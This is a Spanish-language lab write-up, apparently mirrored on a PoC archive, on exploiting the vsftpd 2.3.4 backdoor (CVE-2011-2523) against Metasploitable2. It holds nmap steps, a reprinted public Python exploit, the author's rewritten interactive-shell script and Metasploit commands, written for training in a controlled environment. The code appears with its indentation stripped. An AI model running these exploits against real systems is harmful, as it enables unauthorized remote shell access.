关联漏洞
介绍
# CVE-2011-2523
Estos son apuntes para la creación de la metodología de ataque en un entorno controlado.
Se parte de la premisa que el ejercicio es en caja negra por ende desconozco información del sistema victima
1- descargar ISO necesarios tanto metaexplotable2 como kali o cualquier otra
2- importante el entrono esta configurado con vmware así que se deben ejecutar ambas maquinas en este hipervisor
3-el proceso inicial realizar un ip para verificar que exista conexión entre los dos puntas
4-usar nmap sV Pn 192.168.253.128 una vez que realizamos el reconocimiento encontramos multiples puertos
21 ftp vsftpd 2.3.4
Como parte del entrenamiento se pretende atacar cada puerto para logra ingreso de múltiples formas iniciamos con el siguiente puerto
Se tratara de realizar una situación de caja negra para poder resolver o simular condiciones reales lo más posible.
Explotación puerto 21 FTP
Se inicia con la utilización de nmap -Pn -sV 10.0.2.5
buscamos en la base de datos publicas y encontramos CVE-2011-2523 la cual es un backdoor y lo trataremos de explotar para tener acceso a la maquina victima
primero debemos comprender que existe un backdoor en la explotación que se realizara en este caso en particular.
al tratar de encontrar la forma de vulnerar este sistema por medio de la vulnerabilidad existente se encuentra información en packetstorm.news se presenta un POC que prueba que se puede explotar pero no es del todo funcional como se aprecia en el siguiente codigo:
# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution
# Date: 9-04-2021
# Exploit Author: HerculesRD
# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html
# Version: vsftpd 2.3.4
# Tested on: debian
# CVE : CVE-2011-2523
#!/usr/bin/python3
from telnetlib import Telnet
import argparse
from signal import signal, SIGINT
from sys import exit
def handler(signal_received, frame):
# Handle any cleanup here
print(' [+]Exiting...')
exit(0)
signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()
host = args.host
portFTP = 21 #if necessary edit this line
user="USER nergal:)"
password="PASS pass"
tn=Telnet(host, portFTP)
tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.") #if necessary, edit this line
tn.write(password.encode('ascii') + b"\n")
tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send `exit` to quit shell')
tn2.interact()
lo cual al leer el código se puede comprender que lo que se pretender es probar que se puede hacer no es hacerlo un script funcional por lo cual para realizar practicas más realista realice una modificación sustancial para que este tuviera un shell inverso el cual permitiera un acceso más adecuado desde el momento de la ejecución del código. La modificación del código llevo al siguiente resultado:
#!/usr/bin/env python3
import socket
import sys
import time
def connect_ftp(host, port=21):
try:
s = socket.socket()
s.connect((host, port))
banner = s.recv(1024).decode(errors='ignore')
print(f"[+] FTP Banner: {banner.strip()}")
# Enviar payload del backdoor
s.sendall(b'USER backdoor:)\r\n')
time.sleep(0.5)
s.sendall(b'PASS whatever\r\n')
time.sleep(0.5)
s.close()
return True
except Exception as e:
print(f"[!] Error conectando al FTP: {e}")
return False
def connect_backdoor_shell(host, port=6200):
try:
print(f"[+] Intentando conectar con la shell backdoor en {host}:{port}...")
shell = socket.socket()
shell.settimeout(3)
shell.connect((host, port))
print("[+] ¡Shell obtenida!")
while True:
cmd = input("shell> ")
if cmd.strip().lower() == "exit":
break
shell.sendall((cmd + "\n").encode())
# Lee todos los datos disponibles hasta timeout
output = b""
while True:
try:
chunk = shell.recv(4096)
if not chunk:
break
output += chunk
# Espera un poco para ver si hay más datos
time.sleep(0.1)
except socket.timeout:
break
if output:
print(output.decode(errors='ignore'))
else:
print("[!] Sin respuesta del shell.")
shell.close()
except Exception as e:
print(f"[!] Falló al conectar con la shell: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Uso: {sys.argv[0]} <IP>")
sys.exit(1)
target_ip = sys.argv[1]
if connect_ftp(target_ip):
time.sleep(1) # Da tiempo al backdoor para abrir el puerto
connect_backdoor_shell(target_ip)
else:
print("[!] No se pudo conectar o el objetivo no parece vulnerable.")
por lo anterior se puede comprender que puede ser una forma rebuscada manual para afrontar este ejemplo pero se trata de crear diversas opciones para poder crecer en el ambiente de la seguridad informática y mejorar las habilidades.
La otra forma que se puede emplear es usando metasploit de la siguiente forma
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.0.2.5
run
como se comprende ambos hacen exactamente lo mismo solo que uno ya se encuentra automatizado y el otro es un proceso más manual.
文件快照
[4.0K] /data/pocs/ffc6c8fbe88102e30ab8abf6aea7a27c5b7cf4a0
└── [5.6K] README.md
0 directories, 1 file
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。